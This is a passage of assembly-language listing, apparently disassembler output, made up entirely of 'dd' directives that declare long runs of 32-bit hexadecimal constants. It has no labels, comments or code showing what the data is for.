		dd 0BDCB85B5h, 0A6522E44h, 5085B3B7h, 60FFAF84h, 756E39FDh
		dd 0A1DA6BD8h, 5C1145EAh, 0DF360555h, 43751D05h, 0DB41D951h
		dd 7B0E8295h, 2D3F1D8Dh, 0D510EEEDh, 68FAFB04h,	57A1689h
		dd 1DFD4E4Fh, 53CF7F81h, 48F2AEF0h, 68D56BECh, 554C152Ch
		dd 703E6EF8h, 417D9872h, 0A41D7A1Dh, 3B556A79h,	0C531E0B8h
		dd 0F709612Bh, 0BC6F34C5h, 0DA716CEDh, 922FEFD7h, 7E3A0239h
		dd 0FE7B612Fh, 68E7D0Fh, 0EC1CC07Dh, 0B89BC1AAh, 0A3DDD3C2h
		dd 9631E0EEh, 13F6CE2Ch, 14857885h, 502DEAA2h, 0E0F19E63h
		dd 7838145Fh, 0E2193F2Fh, 8AFF53B5h, 2202AF1Fh,	1547A672h
		dd 81EA81F7h, 798D1AE8h, 44B3D74Ah, 0E9AEADD7h,	0C7C3CAD1h
		dd 91BEE9ADh, 8E9DBFBAh, 40760665h, 1B66DA2Fh, 0A8F4213Fh
		dd 6DA1F9CDh, 0A9B443D5h, 0C74018A6h, 0F18E9861h, 79B7F19Eh
		dd 80E0EDFCh, 3437CE45h, 99744E80h, 627B710Fh, 0E2A187B0h
		dd 686CD5B8h, 88E7C783h, 150A7C55h, 9D9833E0h, 0AE12861h
		dd 8A4FE542h, 62A2467Ch, 0DFBDC078h, 6B10FA8Ch,	0F6E4DF84h
		dd 79C64F04h, 1E2FA830h, 0F1D6E3B5h, 0F95F21E3h, 87DEEAA5h
		dd 72B981EFh, 12EE9770h, 0AE5B7C18h, 0E9B22285h, 75166223h
		dd 85553B7Ah, 1A18B06Eh, 0C9D52750h, 82DADCA6h,	29DADCEEh
		dd 0B1ECD43Fh, 0A687E0D7h, 0E7BB3303h, 6BE2DB85h, 0BE2A220Bh
		dd 75540C9Ah, 2BD9030Fh, 12B383EEh, 0B43FEBEDh,	98B5B7D4h
		dd 76E779F9h, 256E91B6h, 0A960FD55h, 7553983Ah,	0D518F670h
		dd 1F77507Dh, 0AFB42C2Ch, 158243A7h, 25E19DAFh,	0BF97676Fh
		dd 15FE1683h, 346C2599h, 98034D6h, 0F66D1DFEh, 0BFBDEC2Bh
		dd 0D77EB981h, 10D1FDC9h, 4BA537Eh, 0BFB65916h,	96686CCCh
		dd 7046D9ACh, 4D6702B5h, 172C5DB3h, 0D2A1D7B2h,	8DDDDEBEh
		dd 2D5500E1h, 7F660918h, 4FCB4C3Ah, 0BB4E88B4h,	0C91523B6h
		dd 7FCA6378h, 31705400h, 9CF06BFAh, 6FA7C6DAh, 39A1BD17h
		dd 3D9A8E70h, 0D41FF09Fh, 0B39AF06Ch, 0ECAAACD5h, 0B23B354Ch
		dd 3B50630Ah, 5112BB8h,	35A0C262h, 0D9F66105h, 0A2417893h
		dd 3A1C4B23h, 9F8055C6h, 436CA9BBh, 98DCB7Dh, 511FC5F5h
		dd 5B3F9EDFh, 0C5C82EDFh, 62035850h, 5AD4401Eh,	5EAB73Ch
		dd 0FFF1EADh, 0C1C0CB81h, 0EB473F6Fh, 0EB514AFAh, 71ECDC68h
		dd 440AA33h, 0D6908E2Fh, 397992F9h, 0E5432698h,	4A0DF5FAh
		dd 0EC9CCDD3h, 0B69CE98h, 0A7C0E351h, 68F5E569h, 1D55838Dh
		dd 154F1E71h, 5CA8157Eh, 0E9DEA131h, 0BBA08EEEh, 95158CD5h
		dd 21F2819Fh, 0B87CAE3Eh, 2D719A16h, 0B122853Ch, 168B3CD7h
		dd 98C0E896h, 0A12AADABh, 0ADBC98A6h, 3235A720h, 26C5E8Bh
		dd 0BB8FBC21h, 0A746F759h, 0BDD3AD7Bh, 0EADEE9C6h, 53FCCEA2h
		dd 9D3E0948h, 902553FEh, 1962F135h, 75FD8134h, 7B4E99BAh
		dd 0E000F1D1h, 0FC1F72D3h, 0F8EE4C5Ah, 7EE51F62h, 0DDF4F7CFh
		dd 0A0F8DB1Ah, 0FF17DA2Eh, 8A57DF11h, 39506D38h, 0C359785Dh
		dd 9DCF907Dh, 0AF56883h, 0B6CAEC5Ah, 90ED8DEh, 0D9EBDEDFh
		dd 5FB078B8h, 79E393F7h, 630E9709h, 0AB25F521h,	32BBAB4h
		dd 0E247D2D0h, 0CD04F483h, 3D780248h, 0BAF9211Bh, 2F612F2h
		dd 778FCB8Bh, 800A6D3h,	473F8CCBh, 61A168E5h, 2E434257h
		dd 17D69966h, 0A7308436h, 978D16C6h, 1CE1A570h,	1A17097Dh
		dd 0FCA0F4E3h, 456C70A5h, 0D7143FC1h, 55488DCCh, 10C37D9Ch
		dd 5F1BB58Ch, 3F1C0CAEh, 2A2E0C66h, 25F9712Ah, 0EB545A5Ch
		dd 90A6B84Bh, 0ECEDFD70h, 0CEADA036h, 0C7687BADh, 6DEDEF82h
		dd 0EBB5E6F4h, 2F8C6007h, 0BEDCA523h, 0A61C5F1Eh, 81437FB0h
		dd 0A9A01B73h, 4A3B4963h, 33FAD5CBh, 73A9FF80h,	0E06FB60h
		dd 0A6EF0EBBh, 7003086Eh, 947E2B7Dh, 5827031Bh,	0A1ECF596h
		dd 118DF297h, 78DE9772h
		dd 993FAC3Bh, 6F9A518Dh, 85A3AFB5h, 0EBEC7B0Ch,	0AB915B17h
		dd 0FD6894EAh, 87D25237h, 8A8C1B9h, 7DF9517Ah, 0D552A30h
		dd 0CBDB5D3Eh, 0DE82956Bh, 8FBCB7C8h, 633C4B8Ah, 0FAD997AEh
		dd 0F31A7C69h, 99C1736Eh, 4DA8A351h, 0FA25C92h,	1C5AA62h
		dd 50F0ED8Fh, 0D6E0D1DDh, 54A73E34h, 5CDAAF77h,	5E7D2BFEh
		dd 5CA39B7Dh, 36674259h, 0C8429826h, 0BC7C368h,	15BC8CBEh
		dd 89E426A6h, 70DBF7F8h, 0BE6BACh, 69BF74A4h, 15F41B07h
		dd 0B3D648DEh, 49CC6071h, 57991824h, 1C676256h,	4AF1FB0Fh
		dd 0D0DD1193h, 338D92FFh, 0E81D1C68h, 82EE8721h, 9B2AD55Eh
		dd 0B41BC216h, 1F27F425h, 2D1774FFh, 0D78058D3h, 3B6069D1h
		dd 11854CA1h, 34D8238h,	265692BDh, 0CDB74CE5h, 86AD54Ah
		dd 7660568Ah, 0B17C5DF7h, 25D6093Eh, 0CDD8BA74h, 0E6F1B58Bh
		dd 0D66DB71Ch, 1789A320h, 4741840Fh, 82C24A8Dh,	0BEA30441h
		dd 0A9AB03A4h, 0F6E44FE2h, 6CA4BA3Eh, 45646BD7h, 2431E331h
		dd 5C5DC370h, 0F3601C02h, 2201240Bh, 4738EBC0h,	0F4C5FD08h
		dd 1E6FE1CEh, 0C162F58Ch, 0C4C657ADh, 58AE7ED2h, 60A8A10Ch
		dd 6A8D80B0h, 0AC578A41h, 0AA5E3167h, 0B7E2EEEh, 6F01C0Dh
		dd 6E78EA98h, 0AF50FF56h, 9FC8EB54h, 8AF4EFE0h,	5E03E85Ah
		dd 287FAD1Ah, 0A6952B1Ah, 0EFD93BF6h, 64E19EF7h, 0B989E45Fh
		dd 7E3173Ah, 791B0062h,	0B4E10EB5h, 4A47AB42h, 0DF9D483Eh
		dd 0A1EC316Fh, 90AFF1F7h, 8CD3CFAAh, 0C38C3A6h,	9436732Dh
		dd 68904BABh, 0FF9A5BA7h, 0C28F3EB5h, 681BED73h, 0A9CCE36Eh
		dd 0DDCAA587h, 0FB9B8ECBh, 0ECED3C39h, 0ABD0F1A9h, 0C4CC62C4h
		dd 0EA7BBC58h, 0ED3E4A99h, 0A01BFC79h, 0F58BC95Ch, 0B180FB41h
		dd 0EF2531C5h, 0BE83077Dh, 0EBA05DD4h, 0EE06ED97h, 46321DCh
		dd 5D232EEBh, 64832331h, 0A54F5FC1h, 7D007C62h,	7E7E6352h
		dd 5D42086h, 0A389030Eh, 2BC97ECCh, 2460EBB0h, 944CA30Dh
		dd 0FC0033C6h, 6B863CB4h, 92C77C61h, 0C44FE9BBh, 605A530h
		dd 74EEF0B9h, 0FE6909FEh, 0BA937321h, 9DD56B19h, 0A5A84EECh
		dd 0ACEF9F4Fh, 0CB3D816Bh, 0BE3D90DDh, 65FDC2FFh, 103DFFF3h
		dd 0CE0D9C7Eh, 0CB60F785h, 2FBDDC69h, 66C1E6C4h, 8E6624BDh
		dd 238E6E25h, 0AD59B566h, 0F01F0292h, 0C5160C52h, 7B66CB13h
		dd 6C5375E8h, 0C22D7269h, 9FD0F6DFh, 0F14F67F9h, 0C3A8446Fh
		dd 5AB0B190h, 80AA6058h, 674D6B4Ch, 7C9173EBh, 1EC7683Ah
		dd 0FB3763C2h, 74E94586h, 3F02F9D2h, 72E67CF0h,	6F66B0D4h
		dd 189B7D5Ch, 597B56Ch,	9ABBB6BFh, 73586630h, 369F2BE2h
		dd 0DA505458h, 8B35EC13h, 4CF3E1F0h, 0C1355DF0h, 809BFA1Eh
		dd 9D2CFB4Ah, 0E512A29Ah, 3FF1B5E2h, 5453E152h,	0CCC216D8h
		dd 544167F5h, 2C37DA25h, 3E8C02A6h, 0E70CFC86h,	518AE587h
		dd 0A8FD5532h, 25F9777Bh, 36BFF8Bh, 0CB9EF767h,	52FE4776h
		dd 0FBDFF09Eh, 187D25B5h, 0F24CF979h, 32133040h, 97BE4E28h
		dd 17FD9EC2h, 4B68F739h, 0F04045F0h, 0C5B67D84h, 8EC617F0h
		dd 0CAD90319h, 62711C3h, 8B5E5745h, 0AEF3EC01h,	609917E0h
		dd 35B7B84Bh, 473E0D4h,	0E3B3EC7Bh, 80EDF1CBh, 0CFADA662h
		dd 5450B1D8h, 0FB39D5F9h, 776314Fh, 7FC4B8A9h, 0A93BF6BDh
		dd 0E14D7598h, 70574211h, 468EAA0Bh, 9FEB14C1h,	79CB99D1h
		dd 0C8CF5C3Ch, 19847861h, 53E8FB43h, 0BE3F46DBh, 4E2F83ABh
		dd 0F38E9BA2h, 0FD14CAF1h, 78F98695h, 14A66D96h, 21E3709Eh
		dd 0FC5BDB50h, 0E3CEB54Bh, 0E5FF46AEh, 2905E22Fh, 0DE530C48h
		dd 9BCAB6C4h, 93BEFD32h, 3693637Eh, 2DD61DDCh, 542EBFA5h
		dd 7545E920h, 59203BCBh, 0D7A9DC12h, 725F1ECh, 8C456E37h
		dd 9D5807F8h, 0FCF9697Ah, 0A2E0DF8Dh, 2A2FCF31h, 6D4F297Eh
		dd 0EFD9ABCCh, 0ABD21C1Bh, 0B09C0BCEh, 270312F8h, 81717CE2h
		dd 45BF5613h, 3F53CBEDh, 7E3FC3CDh, 0A2E02901h,	6816550h
		dd 0DE525FAAh, 0CCA2A41h, 0E57A8832h, 5A632449h, 0C81E74E9h
		dd 0DFEBBB11h, 42AC29FCh, 90F1876Bh, 4EFC7C6h, 297A3A0Bh
		dd 0F4D89B45h, 788594CFh, 789F1051h, 0C78CB04Fh, 171A9A36h
		dd 13092DE2h, 1352F5BBh, 0AF0E65Fh, 9C86CB05h, 3CA5FCA7h
		dd 0C4FF2160h, 4021617Fh, 95363373h, 0B91F936Ch, 4CAECD5Dh
		dd 0BBBE137h, 0C1A2107Dh, 0BB03C97h, 23FC5E8h, 408579B2h
		dd 0DFA63ACEh, 0B48B815Ah, 0B4253604h, 783932A7h, 412F34C2h
		dd 27D74C5Dh, 0CBFAF351h, 2F0ACD9Ch, 0BC90A505h, 0B1FE62A6h
		dd 1B7A361Ch, 0CA01359Dh, 57F81501h, 0F9B2D87Dh, 0B0245C40h
		dd 29E644C6h, 2C419958h, 5F0527F0h, 17ED0C6h, 45D7E9D4h
		dd 53720EEAh, 9B7FE0AEh, 0B5D421C2h, 0ECD486F8h, 446F9FF7h
		dd 7BE9B951h, 30113E27h, 0D30D7589h, 0D5226C78h, 6013611Dh
		dd 0C12EA08Fh, 0B83A9CAEh, 0BF1E7EBh, 9F6639A3h, 8B707C7Dh
		dd 0ECA9EAE8h, 6803CE1Ah, 61B75100h, 8F12E8F5h,	354D774Ah
		dd 913C1A6Ah, 49A9A14Eh, 0D7350D4Ah, 8229CB41h,	0D3BE3E71h
		dd 1E762A2Bh, 7F4ADDDFh, 0AE142479h, 0F27B50BEh, 77DD7C29h
		dd 75C38677h, 745FAF57h, 9E5DF48Dh, 2A3AA887h, 8FF7C323h
		dd 15233BB8h, 28826A54h, 85A79096h, 0EBE96D97h,	0C26C5BCFh
		dd 1748A6DBh, 0B571F3Ah, 0F8CFFBB1h, 44F048A1h,	55BBB521h
		dd 0E33E8A79h, 4777F80h, 15114F92h, 834E5238h, 0D00524F6h
		dd 2F2AE347h, 14CC57CAh, 397F3F60h, 77A46FBEh, 0FF21728Fh
		dd 0E5F8CDBBh, 208EE323h, 0E2F95B46h, 0C1A3A62Bh, 0C97F8898h
		dd 72BC7425h, 7E2FB074h, 0F58A08DEh, 0B30EEDBCh, 9EFF8140h
		dd 91F7A239h, 585895C8h, 8DA49DFFh, 969C19BBh, 0A5D07791h
		dd 0BAC0727h, 6FE8F32Dh, 6F30349h, 0DD08454h, 0F02826Ah
		dd 534814B1h, 30FAE126h, 98E74EE6h, 0A918E77Ch,	0B6090D9Eh
		dd 808E7E9Ah, 6020CCBh,	0A1030123h, 0BD0F9DBh, 0BE20F3A0h
		dd 0FCF78388h, 2F4CF610h, 3F8CCABDh, 0E531B1A9h, 0B47F287Ch
		dd 0E91FDCD0h, 8624EE06h, 8A7AD1BAh, 0B13D6EA1h, 1F864817h
		dd 651F1789h, 0AD22FDD6h, 0D4E578BAh, 193F19B3h, 2AEB4B8Fh
		dd 301B008Ch, 43034809h, 4F1BBA59h, 0B2A74022h,	0C60750B4h
		dd 8B15C901h, 7AD83033h, 6C795E25h, 0D5D43398h,	0AF107B38h
		dd 32477992h, 9DC428CBh, 0E6753F1Dh, 0E4784565h, 0DBBF573Fh
		dd 0CF9DF1E3h, 0F16A2A4Bh, 94EB2905h, 42181369h, 0FA7F70F2h
		dd 0FCD7CC85h, 0BF35A1Eh, 636EC597h, 4DFA8D46h,	0C13E99F2h
		dd 0C57D46F5h, 19CB0CDCh, 0FE9E3C98h, 54A31460h, 545BDE99h
		dd 0C9041011h, 9AF2296Bh, 0F6702Ah, 0D038B3C8h,	0EE9F608Eh
		dd 2F57FD83h, 0B7B4EC9Eh, 83A9A063h, 563961F3h,	6B8B7BBBh
		dd 72C38D9Fh, 8C6E7E1Eh, 14F41F51h, 9D02B065h, 977E388Dh
		dd 6F246AE4h, 3313C98Dh, 113F0DFCh, 4F0515BCh, 0C3ABF4Bh
		dd 0A25C53F9h, 0BD6D83BDh, 0D7BE8942h, 0A2E28AE3h, 9BC0BB34h
		dd 0C3B53908h, 0F1EE3A13h, 0D7BF4FA3h, 953C1903h, 99BB74DCh
		dd 9DC16082h, 300F8A79h, 0B1DBF614h, 9A825E6h, 0DA311A8Ch
		dd 0DC0D4BE3h, 26D5682Ch, 0C3ED59BFh, 8DB7F713h, 8026C835h
		dd 51775BEFh, 0EBFC72E0h, 0BB1B7E2Ch, 447476E1h, 0D3E42671h
		dd 6EFBFAABh, 33443FC7h, 0A649846Eh, 0F92BEA58h, 8BDA92Ch
		dd 7203FA34h, 0EE055B07h, 7B70F7BEh, 5B2161D9h,	5B6A9783h
		dd 35B9B921h, 0D3CC2303h, 937E4090h, 833E58A6h,	0F0FC5F48h
		dd 7C46DB70h, 267AC4CDh
		dd 23B5A223h, 0BA31B0F8h, 1E0AE369h, 0FEC2D73Bh, 0AB3AA901h
		dd 0B379B73h, 46D33D36h, 1E0E5436h, 3CEF3395h, 66B0E6FBh
		dd 49B4F253h, 0ACEABBF9h, 0AEFA1BB8h, 794CF2Eh,	0F6A0B3B5h
		dd 2F993C61h, 0E68E6FB2h, 0E9CB03B1h, 0FF00E6F0h, 783B17FBh
		dd 0EDCABE8Eh, 2C1F644Dh, 0F4F727E7h, 0FFBFDADDh, 0D9D1E319h
		dd 53A874CBh, 365F32C4h, 0E08E0BEh, 1A4663FAh, 0FC56B143h
		dd 0ED058785h, 59BCB226h, 3F7522D3h, 0B3BEF98Fh, 3679DF30h
		dd 33F2F766h, 849C90A2h, 0E618E1F9h, 0C69F5737h, 1D3EAFACh
		dd 81B177BEh, 0E634E4B9h, 0B9B662BCh, 5EEBB900h, 9F332C59h
		dd 0A4FB04DDh, 76423A74h, 0D3D994AFh, 0A93FB476h, 2A0C0C4Eh
		dd 0B280E561h, 6D5AC34Eh, 0D9AEFE1Dh, 86752BE6h, 69547E47h
		dd 0CCE4F40Bh, 0AE6FB78Bh, 38886CCFh, 525965F0h, 9E7CA7A0h
		dd 0AC820A15h, 59D6BF84h, 4718CF6h, 0E2745226h,	0D11B2F65h
		dd 0A7D5D652h, 7F0313A3h, 446DE4E6h, 794D933Ch,	8BE9E791h
		dd 0A19F87ECh, 0D987B34Fh, 0CCD13C77h, 0DF0678BEh, 0EC9AF671h
		dd 0DC4645A1h, 0A3C60559h, 899FEBB1h, 8B016A85h, 3E9761EEh
		dd 66862183h, 0E433257Ch, 498D8A19h, 0FB40C57Eh, 0D1D3AAC4h
		dd 0DA060975h, 0D079CB31h, 4272CE54h, 0A0736513h, 22B13791h
		dd 0B200768Ch, 7F1B9707h, 0B32C210Bh, 0D870564Fh, 89D83101h
		dd 1A5761Ch, 0DB0631BBh, 0D57B32Ch, 0E19FAFD8h,	465D5FE1h
		dd 46074F28h, 4C5074F2h, 87991ADAh, 69311980h, 6D94CE33h
		dd 308A72C9h, 0AFB5656Bh, 0A3440E9Eh, 67D1B168h, 7165F2Ah
		dd 0BEF7666Bh, 6CB18C6Ah, 0D1FDEC55h, 6BECA5FFh, 0AEAE9BE0h
		dd 6D2693FEh, 6824B403h, 45E582C1h, 22ABCA2Dh, 0A2DADA29h
		dd 0A5441275h, 64340C1Ah, 0BB138A50h, 1FD9E32Ch, 0B5B87135h
		dd 26A69A98h, 79E411FDh, 64370E86h, 64D8C828h, 0CA1150Eh
		dd 6D65AD28h, 99058651h, 155A6154h, 0D54D6F5h, 2148A152h
		dd 0F73DF3FFh, 0FA9BEBF7h, 9F3F5B3Ch, 0EE7B9EE6h, 97DDFDFBh
		dd 0F73DCF73h, 28FFF79Ch, 0BDFC585Bh, 0EF955035h, 0E7DC00B2h
		dd 6AE245BFh, 673A636Eh, 0EC94ED54h, 856A4AA9h,	0F79342D2h
		dd 0C711F1ECh, 17D50523h, 910585EBh, 0D309B60Bh, 0E86216Fh
		dd 0A24D3B3Bh, 6AE069EBh, 52D3C745h, 69FDA90Ah,	0F2765529h
		dd 76552969h, 7B2969E2h, 4869F478h, 72CF7D9Eh, 12275596h
		dd 0BCACE5D4h, 81F9E21Dh, 9689B3E9h, 77943B8Dh,	139841CDh
		dd 19C8CDE1h, 7768EA0Ah, 816715D8h, 7D5EC885h, 0C0A27617h
		dd 29D54458h, 2496D26Fh, 3AB3659Eh, 1C0AE6C5h, 906B0A13h
		dd 0D1138455h, 0CB1BA36Eh, 0B00E55BAh, 74E01D7Eh, 2A40E4DEh
		dd 2FFDEB12h, 6A3BBFB0h, 5D47267Bh, 45AA2BDFh, 34B45302h
		dd 4F91DD09h, 0F60FC8CAh, 0BDE45E44h, 46324642h, 0F93465D3h
		dd 0C2AB40E6h, 1CFA8A4Ch, 2CE935C2h, 0A97C986Ch, 0D1BBC5D3h
		dd 6C213BE4h, 736F25D5h, 32A6AD6h, 0CB9DD4BAh, 0B9DCA770h
		dd 3E5FDC64h, 7A973BC9h, 8B6A03CDh, 557CE056h, 34BCF079h
		dd 0CD921755h, 95223C12h, 1A5D4920h, 0B62BA48Fh, 0F989A274h
		dd 0A0766481h, 9CE18D6h, 2A6119D4h, 1125A40Ah, 0DF269CDh
		dd 0DA5F929Ch, 16D50E50h, 4C8CEB7Ah, 0BA1CB863h, 0D906703Ah
		dd 67CE9C05h, 0BD6723A4h, 152558C2h, 96B7ADF1h,	0D40E6A82h
		dd 92C6C140h, 66619247h, 0F545B1E6h, 0D6501A81h, 5D84673Ah
		dd 650EB5EFh, 278824B4h, 0C3247D6h, 7C0BD1E1h, 922578A6h
		dd 9B035344h, 0A689D2E1h, 8B6CE12Ch, 799592BEh,	0C8F5AFF0h
		dd 7EAB412Eh, 8B53D9F1h, 6588BFBEh, 0FECB116Ah,	4D5822C3h
		dd 2DF6FF08h, 3F2F9542h, 0E358AA24h, 0DB8077B7h, 63CF9F44h
		dd 0FC960E8Ch, 0B006F2CFh, 0AAED0A3Eh, 7E2800F2h, 0E281EB1h
		dd 0AD9F9AD6h, 23E3AAABh, 0CE78F5BDh, 36134CC2h, 0E7D715BAh
		dd 39315E8Ch, 5B9F93B2h, 0B63220CDh, 0AC6E1972h, 4BF3B52Fh
		dd 0BD110C9Bh, 0F36ABD5Dh, 0D02DB90Eh, 5D1DCC60h, 0AD752EFAh
		dd 0D4A6D5B4h, 0CCB0CF47h, 0A666951h, 0F9049D7Dh, 3A5AE3E0h
		dd 56929FAAh, 8AD4D207h, 79C47A9h, 48B1DF70h, 0EF8F7E95h
		dd 27A35544h, 3C6DA161h, 6EF9DC5Fh, 0BC406F2Bh,	7C4BCDC0h
		dd 0AE0EF896h, 23F8A1D1h, 27593146h, 0FAA7FFCFh, 4FB536B6h
		dd 0F3CD944Eh, 430CF007h, 9858103Bh, 0B308B7BEh, 0D4A710FAh
		dd 0C35EDF16h, 0A912C98Fh, 0B9C1F14Dh, 46CABB37h, 18D46646h
		dd 0DBC65995h, 2109E969h, 2BC21C2Ch, 0B8272837h, 2533F4B9h
		dd 92A4B029h, 0C0A4FF08h, 0A6857E26h, 0DABB8ED3h, 0A05E289Dh
		dd 230A03A1h, 6ED07591h, 0C8CB88D1h, 867924ACh,	655339DBh
		dd 56FBADC1h, 0FFD6E0B2h, 0A6C0568Dh, 5FE54378h, 0A86D9A70h
		dd 5E7493FCh, 0DCAE1380h, 0E561A383h, 66FC2498h, 0FF3A6FF0h
		dd 8F2FD1A6h, 68492678h, 212B87D8h, 0BB5E219Dh,	60B8FC1Dh
		dd 29D23BDCh, 7CA8A8AAh, 0C721C8BBh, 0AE570F69h, 5CE3F843h
		dd 0EAC365BCh, 9F8B061Dh, 0CAA1A44Eh, 0F7157h, 4C835E6Dh
		dd 62C92878h, 6C01BE71h, 5134CF2Ah, 0BB02B2C7h,	783D11Ah
		dd 105AF7D4h, 9FC68302h, 9E43D441h, 0C65DF0FCh,	9996471Fh
		dd 2936BF22h, 417E9C6Fh, 0E6E5F109h, 51F9BE36h,	1CCDDE18h
		dd 0C93C37DDh, 7C205FA7h, 0BAA06302h, 1BF60DE3h, 0F6E86FD8h
		dd 946FD91Bh, 0EE04257Eh, 0AB1B644Fh, 75585402h, 0B755884Bh
		dd 25BAAC28h, 145BAAC4h, 6212DD56h, 0AB0A2DD5h,	2AB1096Eh
		dd 8C798502h, 50C1BE21h, 9096EAA4h, 0F22A31E4h,	75884429h
		dd 94CEECB6h, 785E7838h, 70EA84A1h, 0EBF1A32Dh,	0A72D1D62h
		dd 8ACCAB09h, 0A68AC3D9h, 74D145ABh, 0AE9A28B5h, 0F7870516h
		dd 274446C0h, 0BA781207h, 5B8AC288h, 0F5F46046h, 83A33E3Ch
		dd 84C97BCDh, 74A5C5FEh, 3F1F473Ah, 8EC24E0Ch, 315A8835h
		dd 8EE00683h, 651F00B5h, 17F00FD0h, 0BC00560Ch,	8EFE419Fh
		dd 10C19F3h, 3970602Ch,	58311FC0h, 19C6F00Ah, 594FD2FCh
		dd 0E0BE4D55h, 0F1ADC881h, 0EF402570h, 6AD56510h, 2E559994h
		dd 0F7819D2Eh, 3BE22797h, 2D8DF356h, 0FC02F627h, 4E1C36F6h
		dd 927EEE34h, 1EBA8D26h, 83F69B23h, 0FADC789Dh,	0EE42F6B0h
		dd 9FFDB890h, 1CA0D3B0h, 38011272h, 0B183A749h,	0B1CDE536h
		dd 0DA3E68EBh, 57E86BDDh, 0E42753D4h, 471460D4h, 4B3B2C78h
		dd 2851292Fh, 843BBB27h, 0D06FC1E0h, 64EA9CDEh,	0C059540Fh
		dd 8C0EE4AAh, 4AD92970h, 7D0B9E87h, 6A734B04h, 926A5810h
		dd 7324B801h, 63A5DDDAh, 1A836571h, 19CB98Ah, 24F7CA26h
		dd 0D26EFF4Dh, 87493D65h, 0E7855253h, 0AE36E58h, 1C7E2CC3h
		dd 0B265EFF4h, 0A39327B8h, 0D304C84Dh, 6F84B3D5h, 0F7BE192Bh
		dd 0B4E7B399h, 558FE6BCh, 0D4E4B2F3h, 0AF377C64h, 85793DD9h
		dd 0BF43989Ah, 50E6530Ah, 9629D6D8h, 83539410h,	2607428Fh
		dd 8CA730EFh, 796EF787h, 216BCBE8h, 502C3371h, 3A7719D0h
		dd 93E6A319h, 4F84DFh, 0D1DEDDC3h, 0A1CB6C74h, 0CE8196C3h
		dd 94D85478h, 28A7489Eh, 4A12F452h, 4C970BD8h, 63C6AC38h
		dd 33BAA8B0h, 0A4BE027Bh, 0A724A155h, 0EF30AC06h, 453D1E0Dh
		dd 7B935979h, 0E561DFEDh, 8C525D65h, 0C4D2F80Bh, 8B9431EAh
		dd 0A04D1ED3h, 193D2C92h, 0B08DB3Eh, 18353905h,	4A9C2BA6h
		dd 6BA61CA5h, 0A639D529h, 58E4522Ch, 3A678F20h,	7BE53B79h
		dd 0AF46DCAFh, 0AD9C24A1h, 136A0534h, 0F97BBECEh, 4D55E701h
		dd 0BB1CD232h, 86F1EF9Ah
		dd 0DCB6FC78h, 0F4B6C8F5h, 0EE1DF14Fh, 25B1F2BEh, 509A394Ah
		dd 98FE3D32h, 3CC2A46Fh, 8ACEF345h, 0D02CB15Bh,	36707309h
		dd 935E78ADh, 6A3F3F47h, 0F3C4EF30h, 728EF34Ch,	3D67CE30h
		dd 9D16AD0Ah, 8A4CC7FAh, 0AFFB3831h, 0E6580B06h, 4E3AF94Ah
		dd 59041DE6h, 719B81B5h, 46BC0B87h, 4A2489Bh, 8E73350Bh
		dd 21D0F400h, 0A09BE555h, 32FC49F0h, 0D573AF57h, 4ECDAD4Fh
		dd 1BEC5AC4h, 0C6089D96h, 0F5B06FA7h, 8BF97648h, 0D79ADDA8h
		dd 0D8A75EABh, 0F8594180h, 66625E6Bh, 95559DF9h, 0E606457Fh
		dd 0AAED959Dh, 42EAB9FBh, 50BD9C33h, 99652E54h,	4753DA0Dh
		dd 0C36E5765h, 0A3C4BB77h, 3CAC45C7h, 8E9F4ED7h, 0B5A9AB0Bh
		dd 0E9B7EA8Bh, 5D96699h, 0C4E2D74Dh, 0C49C2819h, 0DB9459C8h
		dd 0C4E248F4h, 2D8EA526h, 9AC3CECFh, 42ECA320h,	0D493D494h
		dd 62208A0Bh, 0EEA7B303h, 7589A491h, 0D48C0B4Ah, 0FC659649h
		dd 14CAC4D8h, 0F6BE990Ah, 0A4E7A226h, 7447D62Dh, 0BC097F92h
		dd 0C4F166F2h, 2F46E47Fh, 74545DAFh, 3E82DD55h,	93EDEFD9h
		dd 0CEDFE5BDh, 0CE1FB2FEh, 0A300689Eh, 7F7C8ECAh, 72EE3C63h
		dd 6E476269h, 0CAD0AC6Ch, 6150D443h, 3953BD6Eh,	5F8CBDE5h
		dd 229D2BF1h, 0CB4F5732h, 0F0712FC2h, 0F223577Fh, 0D2EA6BC1h
		dd 34174D78h, 37E4935Eh, 12D37BD7h, 2354EC59h, 30B78D7Eh
		dd 0D50227D3h, 0F167E190h, 2CFC351Eh, 0B6E23A18h, 8ECAD03Ah
		dd 0AC211048h, 162EDC60h, 575D646Eh, 6C87D537h,	0ECA2EF71h
		dd 0C1F01BF5h, 370488AEh, 57538E49h, 3314F08Fh,	121B93CBh
		dd 2F501AF1h, 8272492Fh, 6BDC28DBh, 0DF7ADCCh, 0D682B996h
		dd 0A60AFA98h, 817048ECh, 0CF25297Dh, 951EA45Dh, 448E13Ch
		dd 0FBCD1195h, 8B63C0E8h, 78E372ABh, 1D3E798Ch,	0A9AB05Ch
		dd 0CBEE7DD6h, 5CFCDF12h, 88F1698Fh, 486FA3C3h,	0BD030E84h
		dd 61815398h, 0C13C362Eh, 393115Ch, 986089F7h, 7B388838h
		dd 9CBAF698h, 0F31E9891h, 0E4F782F6h, 4F2704B3h, 9A3254A1h
		dd 0A4D68DAFh, 0F50A7691h, 0CE4E090Dh, 2F007E02h, 0F2A50B24h
		dd 90768CFCh, 0FC884576h, 0BE53B896h, 83F7ADA6h, 0C4BEC3Dh
		dd 0D47D00Ch, 0FA2E2B81h, 0D5FA30EFh, 71EB28EBh, 7ACE4967h
		dd 0CC1E8F5Eh, 0E793C91Eh, 7923D967h, 10E7DCF2h, 0EB45F269h
		dd 19202E20h, 4513928Fh, 975EBA66h, 97841EBDh, 0CA4BE9D2h
		dd 0E699985Eh, 1F4291BDh, 0D985B3C2h, 0E9BEF544h, 98E7084Dh
		dd 893AAE77h, 7C73854Bh, 0B73DCB90h, 97394122h,	9307DE7Bh
		dd 3165B875h, 59F227AFh, 0D02C535Eh, 94A34028h,	291EB795h
		dd 47CDF9C9h, 434F662Ch, 4DDF5126h, 75E7855Fh, 8BBC9C41h
		dd 0DD2DC9C5h, 0A308DA5Ah, 26FF0D67h, 41A2B99Dh, 4E85611Bh
		dd 0C63463CFh, 0EC63682Eh, 0A0C63682h, 0B8F58208h, 8A386D85h
		dd 0DDAF86C1h, 0C87F171Ah, 94E5D04Bh, 0DE5CB975h, 975940A4h
		dd 0EFF4E7C1h, 88178AFEh, 83A04A71h, 0DAFC1B69h, 8D3285EDh
		dd 0EED8EB7Bh, 2DCA6C37h, 0AF443CB4h, 50A4048Eh, 0D3611ABEh
		dd 0DC8F5ED8h, 71F341B0h, 0EBEE33ADh, 488375E2h, 863EAF9Ah
